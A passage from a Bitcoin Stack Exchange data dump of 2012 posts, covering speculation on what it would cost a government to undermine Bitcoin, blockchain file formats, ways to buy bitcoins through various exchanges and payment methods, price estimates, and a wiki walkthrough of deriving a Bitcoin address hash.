&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Therefore, my question is&lt;/strong&gt;: What is the current lowest CSU (Cost of Secret Undermining). This means, what is the cheapest way for someone (for example a government) to secretly undermine Bitcoins to the extent that Bitcoins are no longer useful as a medium of exchange, for example by utilizing the method suggested by &lt;a href=&quot;https://bitcoin.stackexchange.com/a/371/6&quot;&gt;David Schwartz&lt;/a&gt;. We should compare the number that we find with the current budget of the US fight against illegal drugs. Of course, the expected impact on the fight against illegal drugs is a deciding factor. Even though it will be very hard, we should try to estimate the development time needed to launch such an attack as this will be a cost the attacker would have to calculate with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is related to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1093/how-much-would-it-cost-to-execute-a-51-attack&quot;&gt;this&lt;/a&gt; question, but now I would like to know the cost of undermining Bitcoins instead of just launching one single 51% attack.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-11-30T09:36:48.920" Title="How much would it cost for a government to undermine Bitcoins?" Tags="|attack|government|silk-road|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4999" PostTypeId="2" ParentId="4998" CreationDate="2012-10-07T11:58:00.787" Score="10" Body="&lt;p&gt;As I suggested in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88149.0&quot;&gt;my Bitcoin master thesis&lt;/a&gt;, a 51% attack would cost in a bulk part of about 7 million dollars to execute. The figure will change depending on the technology used, the current difficulty and so forth. This option would make Bitcoin or any other Bitcoin-like currency useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the USA goverment was to crack down on Bitcoin as a terrorist activity, it could detain any Bitcoin developer in the country &lt;a href=&quot;http://en.wikipedia.org/wiki/National_Defense_Authorization_Act_for_Fiscal_Year_2012#Indefinite_detention_without_trial%3a_Section_1021&quot;&gt;indefinitely&lt;/a&gt;, which would probably be cheaper. This option would most likely generate a lot of backlash from the community, and could encourage other programmers to take over the project.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-07T11:58:00.787" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5000" PostTypeId="2" ParentId="4998" CreationDate="2012-10-07T13:13:34.617" Score="3" Body="&lt;p&gt;In certain situations it gets very easy:&#xA;If the NSA decides to send national security letters to developers they can be forced to do anything without being allowed to talk about it. Forcing them to 1: publish low quality updates and introduce backdoors, 2: dump-sell their Bitcoin over a predefined period should be quite effective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could make Bitcoins effectively useless in the short term. It might not work if the Americans don't manage to get a large enough part of the network to dump-sell, but I think there's sufficient wealth to push it below the cent range. Subsequently the crappy development should help it die a slow death.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has a negligible cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frankly I think becoming a horrible part of the community would be the most effective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Team:&#xA;3 programmers&#xA;2 generic agents&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The programmers create slow and abusive parts of the community software and have them be &quot;exploited&quot; or &quot;hacked&quot; frequently. Pushing media not to publish about Bitcoin, but when they do publish about these failures. They also continually publish expensive-to-process and large transactions in order to make running Bitcoin more expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The generic agents attempt to shut down any Bitcoin businessman and/or buy out Bitcoin businesses and corrupt them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also fake adverts created on Bitcoin trading sites, trying hard as they can to exploit the reputation systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These measures could make Bitcoin an extremely horrible-to-use system and should give it little extra exposure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Naturally cracking existing Bitcoin businesses would also help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply degrading the trust in Bitcoin whilst minimizing exposure would undermine Bitcoin. I do not think that secret undermining can stop ALL Bitcoin transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has a cost equal to 5 agents continuously.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2012-10-07T13:13:34.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5001" PostTypeId="1" AcceptedAnswerId="5004" CreationDate="2012-10-07T15:02:49.060" Score="4" ViewCount="1719" Body="&lt;p&gt;Can anyone tell me where I can read about the structure of the files&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; blk0001.dat &#xA; blk0002.dat&#xA; blkindex.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that in these files bitcoin is saving all the information about transactions.&#xA;I would like to parse the files and save the information from these files in my local database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Note-these files are no longer used for Bitcoin-Qt/bitcoind version 0.8 and above.]&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="153" LastEditDate="2013-03-07T08:19:29.600" LastActivityDate="2013-03-07T08:19:29.600" Title="What is the structure of blk001.dat and blkindex.dat?" Tags="|transactions|blockchain|bitcoin-core|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5002" PostTypeId="2" ParentId="1621" CreationDate="2012-10-07T15:46:25.600" Score="2" Body="&lt;p&gt;Just noting here that MtGox tid's are not included in the data you get from bitcoincharts in that csv call API, and they switched from numerical indexing to microsecond timestamping a while back. In trying to maintain a db with integrity, you need the unique tid data... The history file is now over 100MB also.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastEditorUserId="2015" LastEditDate="2012-10-07T15:56:55.070" LastActivityDate="2012-10-07T15:56:55.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5004" PostTypeId="2" ParentId="5001" CreationDate="2012-10-07T16:31:35.957" Score="3" Body="&lt;p&gt;While reading the blockchain data directly is possible, you can only do so against stale data files -- as you can't reliably read the files while the client is running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PyWallet and BitcoinTools are two such methods to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, the Bitcoin.org client (v0.7 and above) provides Raw Transactions support, in which you can decode a transaction to learn of its inputs, outputs and other attributes.  This, along with the rest of the API provides the ability to pull all the data from the blockchain that is needed, against a live instance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Raw_Transactions#decoderawtransaction_.3Chex_string.3E&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Raw_Transactions#decoderawtransaction_.3Chex_string.3E&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-10-11T17:54:12.077" LastActivityDate="2012-10-11T17:54:12.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5005" PostTypeId="2" ParentId="2844" CreationDate="2012-10-07T19:49:47.090" Score="0" Body="&lt;p&gt;Yes, you can hold a &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;&quot;physical bitcoin&quot;&lt;/a&gt; in your hand. You can trade it from person to person, and eventually turn it back into a digital coin if you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, most often you will be only dealing in digital bitcoins. You don't need a bank account or a credit card to use those. They are stored in a so called &quot;block chain&quot; - a ledger of all transactions on bitcoins. In order to spend them, you need your Bitcoin address and its private key - a really big random number. You can store it as a QR code, a file on a computer or anything, but you do need some special program to use those.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-07T19:49:47.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5006" PostTypeId="2" ParentId="4988" CreationDate="2012-10-08T05:04:05.867" Score="0" Body="&lt;p&gt;Essentially, it is a tradeable currency pair today, just that there is no leverage (or very little leverage) compared to what you see with forex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is different enough from foreign currencies that it may take a very long time for Bitcoin to be considered &quot;investment grade&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, a plethora of alternatives can flourish where stability can exist from the vast number of ways it is being used.  For instance, &lt;a href=&quot;https://icbit.se/WebTrade/&quot; rel=&quot;nofollow&quot;&gt;ICBit.se&lt;/a&gt;'s futures contracts based on the BTC/USD, and now their Gold/BTC and Crude(WTI)/BTC futures contracts as well, are innovations that put bitcoin to use in new ways which allow to some degree a method of shorting bitcoin with leverage (in the case of the Gold/BTC futures contract) or going long with leverage on the BTC/USD (in the case of the BTC/USD futures contract).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://polimedia.us/bitcoin/mpex.php&quot; rel=&quot;nofollow&quot;&gt;MPEX&lt;/a&gt; offers CALL and PUT options on the BTC/USD with front-month and next-month expirations.  They also offer bond tranches where the proceeds are used for settlement of the options business.  These are just some of the first innovations (excluding some false starts, like Bitcoinica and the investment funds on the now-defunct GLBSE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Existing forex outfits will probably see the opportunity when some bitcoin-specific exchange market begins to grow rapidly, but there's nothing much of the sort just yet.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-08T05:04:05.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5007" PostTypeId="1" CreationDate="2012-10-08T06:44:43.213" Score="2" ViewCount="486" Body="&lt;p&gt;Are there any exchanges left accepting USD wire transfers? I heard mention of sending to Dwolla and then transferring to Intersango, but only for U.S. citizens.&lt;/p&gt;&#xA;" OwnerUserId="2017" LastEditorUserId="1842" LastEditDate="2012-10-13T22:44:41.707" LastActivityDate="2012-10-13T22:44:41.707" Title="Which exchanges still accept USD wire transfers? (Oct 2012)" Tags="|wire-transfers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5008" PostTypeId="1" AcceptedAnswerId="5011" CreationDate="2012-10-08T06:56:43.713" Score="3" ViewCount="10159" Body="&lt;p&gt;I would like to use Western Union to buy some Bitcoins. I have carefully read &lt;a href=&quot;https://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;Bitcoin's wiki page about buying Bitcoins&lt;/a&gt; now I'm after users' input about which service they would recommend. &#xA;There's a lot of services and I am just after the quickest and safest (like everyone I guess). Could, you guys, recommend a service you find to be the best please?&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="1842" LastEditDate="2012-10-18T00:13:11.103" LastActivityDate="2014-12-15T15:45:28.343" Title="How can I buy bitcoins using Western Union (October 2012)?" Tags="|exchanges|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5009" PostTypeId="2" ParentId="5007" CreationDate="2012-10-08T07:39:47.530" Score="1" Body="&lt;p&gt;Dwolla is only for this in the U.S. and the type of bank transfer they do is ACH, which is specific to banks in the U.S. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as exchanges that accept wire transfers directly, there are many, including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mtgox.com&quot; rel=&quot;nofollow&quot;&gt;Mt. Gox&lt;/a&gt; (Japan)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitSTAMP.net&quot; rel=&quot;nofollow&quot;&gt;BitStamp&lt;/a&gt; (EU)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://BitFloor.com&quot; rel=&quot;nofollow&quot;&gt;BitFloor&lt;/a&gt; (U.S.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://btc-e.com&quot; rel=&quot;nofollow&quot;&gt;BTC-E&lt;/a&gt; (Russia)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=87094.0&quot; rel=&quot;nofollow&quot;&gt;Bitcoins Direct&lt;/a&gt; (U.S.) (bulk sales, minimum $500)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Many various methods here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-08T07:39:47.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5010" PostTypeId="2" ParentId="5008" CreationDate="2012-10-08T08:22:03.373" Score="1" Body="&lt;p&gt;You probably will have the best luck on &lt;a href=&quot;http://bitcoin-otc.com/vieworderbook.php&quot; rel=&quot;nofollow&quot;&gt;Bitcoin OTC&lt;/a&gt;. It's a service allowing you to trade person-to-person, so you can use any means that someone else will find acceptable.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-08T08:22:03.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5011" PostTypeId="2" ParentId="5008" CreationDate="2012-10-08T09:14:00.140" Score="5" Body="&lt;p&gt;Western Union is a hassle and is expensive.   Bitcoins Direct was accepting WU payments until just a couple days ago.  In the U.S., about the last exchange to accept WU (USD) for bitcoins is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.QuickBitcoins.net&quot; rel=&quot;nofollow&quot;&gt;http://www.QuickBitcoins.net&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the EU there is an exchange that accepts WU (EUR):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinsinberlin.com&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinsinberlin.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are also some others.  For instance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ecurrencyzone.net/buy.php&quot; rel=&quot;nofollow&quot;&gt;http://www.ecurrencyzone.net/buy.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.coinmama.com&quot; rel=&quot;nofollow&quot;&gt;http://www.coinmama.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As far as other options, the factors relevant to providing the right advice include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Where are you located (country)?&lt;/li&gt;&#xA;&lt;li&gt;How much are you looking to buy?&lt;/li&gt;&#xA;&lt;li&gt;What payment methods do you have available?&lt;/li&gt;&#xA;&lt;li&gt;How soon do you need access to the proceeds?&lt;/li&gt;&#xA;&lt;li&gt;Is privacy important?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Quite simply, depositing cash at a bank or 7-11, Walmart, CVS is going to be the fastest and easiest way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitInstant.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitInstant.com&lt;/a&gt; (Deposit at major banks, 7-11, Walmart, CVS, Moneygram, etc.,)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitMe.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitMe.com&lt;/a&gt; (Deposit cash at Chase)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitFloor.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitFloor.com&lt;/a&gt; (Deposit cash at Chase or Wells Fargo)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitinnovate.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitinnovate.com&lt;/a&gt; (Deposit cash at a bank in Australia &amp;amp; New Zealand)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.CAVirtEx.com&quot; rel=&quot;nofollow&quot;&gt;http://www.CAVirtEx.com&lt;/a&gt; (Deposit cash at several banks)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.Spendbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.Spendbitcoins.com&lt;/a&gt; (Deposit cash at a bank in Australia)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://BitcoinNordic.com&quot; rel=&quot;nofollow&quot;&gt;http://BitcoinNordic.com&lt;/a&gt; (Purchase CashU or UKash in dozens of countries)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BTC-E.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BTC-E.com&lt;/a&gt; (Deposit cash (USD) at bank locations in Russia)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitNZ.om&quot; rel=&quot;nofollow&quot;&gt;http://www.BitNZ.om&lt;/a&gt; (Deposit cash (NZD) at back locations in New Zealand)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitInstant.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitInstant.com&lt;/a&gt; (In Brazil using Boleto or Banco Recomendito, or in Russia, using Qiwi or Cyberplat.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, Bitcoins Direct will accept cash, but they have a $500 minimum order size:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=87094.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=87094.0&lt;/a&gt; (Deposit cash at Bank of America, Wells Fargo or PNC, minimum $500)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or you might find a local trade (paying cash):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.localbitcoins.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The fees aren't trivial but you can use a credit card to purchase by using VirWoX where you can buy SLL using your credit card, then trade SLL for BTC:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.VirWoX.com&quot; rel=&quot;nofollow&quot;&gt;http://www.VirWoX.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or if you are considering a bank transfer, there all kinds of options are available:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is also #bitcoin-otc where you can connect with sellers via IRC:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin-otc.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin-otc.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Buying  bitcoin with western union westernuniontobitcoins.com  is very easy, being one of the few that allows you to transfer money online directly to  bank account or to a person authorized to raise money from an office W.U&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://westernuniontobitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://westernuniontobitcoins.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="18196" LastEditDate="2014-12-15T15:45:28.343" LastActivityDate="2014-12-15T15:45:28.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5012" PostTypeId="1" CreationDate="2012-10-08T14:18:54.877" Score="-3" ViewCount="686" Body="&lt;p&gt;The real value of a currency depends on the value of the goods that can be purchased with it. If we assume the majority of bitcoin transactions for 'real' goods (not  currency speculation) are on silk road we can do the following calculation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The demand in USD is about 1.9 million per month (http://arstechnica.com/tech-policy/2012/08/study-estimates-2-million-a-month-in-bitcoin-drug-sales/) &#xA;which works out to be $63,333 per day (the demand)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are currently 10118337 bit coins that have been created and each coin is spent on average once every 399.357 days (http://abe.bitcoinstats.org:2750/)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that each day there are 10118337 / 399 = 25,359 bitcoins available to use for transactions each day (the supply)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price of 1 BTC should then be supply / demand =  $63,333 / BTC 25,359 = $2.49 USD per coin &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have alternative suggestions for calculating the price or is Bitcoin in a bubble? &lt;/p&gt;&#xA;" OwnerUserId="2022" LastEditorUserId="1842" LastEditDate="2012-10-09T06:12:24.793" LastActivityDate="2012-10-09T06:12:24.793" Title="Should the current value of 1 BTC really be $2.50 USD?" Tags="|value|speculation|" AnswerCount="1" CommentCount="2" ClosedDate="2012-10-09T11:24:27.783" ContentLicense="CC BY-SA 3.0" />
  <row Id="5013" PostTypeId="1" CreationDate="2012-10-08T14:26:56.913" Score="4" ViewCount="18814" Body="&lt;p&gt;Because I don't have any rep. and the chargeback issue, no one will buy my Moneybookers(USD) or NETELLER(USD). Is there an exchange that will?&lt;/p&gt;&#xA;" OwnerUserId="2017" LastActivityDate="2014-07-05T08:42:08.047" Title="Who accepts Moneybookers/NETELLER?" Tags="|buy-bitcoins|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5014" PostTypeId="2" ParentId="5013" CreationDate="2012-10-08T15:14:28.320" Score="3" Body="&lt;p&gt;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.virwox.com/&quot; rel=&quot;nofollow&quot;&gt;VirVox&lt;/a&gt; accepts NETELLER and Moneybookers&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.bitcoin.de&quot; rel=&quot;nofollow&quot;&gt;Bitcoin.de&lt;/a&gt; accepts Moneybookers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could always approach high-rep users and ask them to do exchange with you at some rate favourable to them, and also letting them send you Bitcoins only after some time after which chargeback would be impossible. This way you risk little (high-rep users can generally be trusted), and you will get your positive reputation started.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-08T15:14:28.320" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5016" PostTypeId="2" ParentId="5012" CreationDate="2012-10-08T19:46:44.277" Score="6" Body="&lt;p&gt;As famous as it is, I believe Silk Road isn't the reason for Bitcoin's existence or its success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of private individuals who value Bitcoin for international money exchange,  its low cost trading capability, its irreversability, its lack of a central authority and its upper limit on the number of bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you analysed the transactions over time and experimented with deposits to various exchanges and traders, you would be able to build a partial picture of who is holding the existing bitcoins. You might be able to determine an upper limit on how many bitcoins are being held by speculators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the value of Bitcoin as a system is dependent on its popularity, so current events can have a strong effect on the value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Realistically, the best way to value a bitcoin is to look at the market price over time on a major exchange.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-10-08T19:46:44.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5019" PostTypeId="1" AcceptedAnswerId="5023" CreationDate="2012-10-09T14:11:56.030" Score="5" ViewCount="634" Body="&lt;p&gt;It seems that &lt;a href=&quot;https://bitfloor.com/&quot;&gt;bitfloor&lt;/a&gt; is a well designed trading platform, and a competitor to MtGox. However, the trading volume is low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How long has bitfloor been in business? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have there been any negative accusations such as fraud?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How safe is my money/bitcoins at bitfloor?&lt;/p&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2012-10-10T19:29:27.470" Title="What is the reputation of bitfloor?" Tags="|transactions|security|exchanges|mtgox|trading|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5020" PostTypeId="2" ParentId="4895" CreationDate="2012-10-09T15:04:41.457" Score="-1" Body="&lt;p&gt;health concerns.... same as a normal pc, i have a 1500w psu, with 4 amd 7970's, it defnitly does'nt translate directly into heat as Stephen said, because the heat produced by the processors is the wasted energy, where as the majority of energy is used to compute... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for examle: just like a light bulbs purpose is to make light, but it produces some heat because nothing is ever 100% efficent, thus the heat raidiated is lost or wasted energy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and in the pics it looks like the mini rig will have 42 (+-:120mm) fans so i assume it would be loud if all the fans are above 50%. &lt;/p&gt;&#xA;" OwnerUserId="2027" LastActivityDate="2012-10-09T15:04:41.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5021" PostTypeId="1" CreationDate="2012-10-09T16:36:02.060" Score="7" ViewCount="8343" Body="&lt;p&gt;I'm trying to sign a coinbase transaction. I know I need to use &lt;code&gt;76 A9 14 (HASH160) 88 AC&lt;/code&gt; but I don't understand how to create the HASH160 (20 byte) from a bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="2028" LastActivityDate="2014-04-08T22:49:01.360" Title="How do you get the OP_HASH160 value from a bitcoin address?" Tags="|script|coinbase.com|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5022" PostTypeId="2" ParentId="5021" CreationDate="2012-10-09T16:39:23.490" Score="6" Body="&lt;p&gt;Check the &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;noreferrer&quot;&gt;Wiki&lt;/a&gt;. I think what you are looking for is point 3:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;How to create Bitcoin Address&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;0 - Having a private ECDSA key&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;1 - Take the corresponding public key generated with it (65 bytes, 1&#xA;  byte 0x04, 32 bytes corresponding to X coordinate, 32 bytes&#xA;  corresponding to Y coordinate)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2 - Perform SHA-256 hashing on the public key&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;600FFE422B4E00731A59557A5CCA46CC183944191006324A447BDB2D98D4B408&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;3 - Perform RIPEMD-160 hashing on the result of SHA-256&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;010966776006953D5567439E5E39F86A0D273BEE&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;4 - Add version byte in front of RIPEMD-160 hash (0x00 for Main&#xA;  Network)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;00010966776006953D5567439E5E39F86A0D273BEE&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;5 - Perform SHA-256 hash on the extended RIPEMD-160 result&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;445C7A8007A93D8733188288BB320A8FE2DEBD2AE1B47F0F50BC10BAE845C094&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;6 - Perform SHA-256 hash on the result of the previous SHA-256 hash&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;D61967F63C7DD183914A4AE452C9F6AD5D462CE3D277798075B107615C1A8A30&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;7 - Take the first 4 bytes of the second SHA-256 hash. This is the&#xA;  address checksum&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;D61967F6&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;8 - Add the 4 checksum bytes from point 7 at the end of extended&#xA;  RIPEMD-160 hash from point 4. This is the 25-byte binary Bitcoin&#xA;  Address.&lt;/p&gt;&#xA;  &#xA;  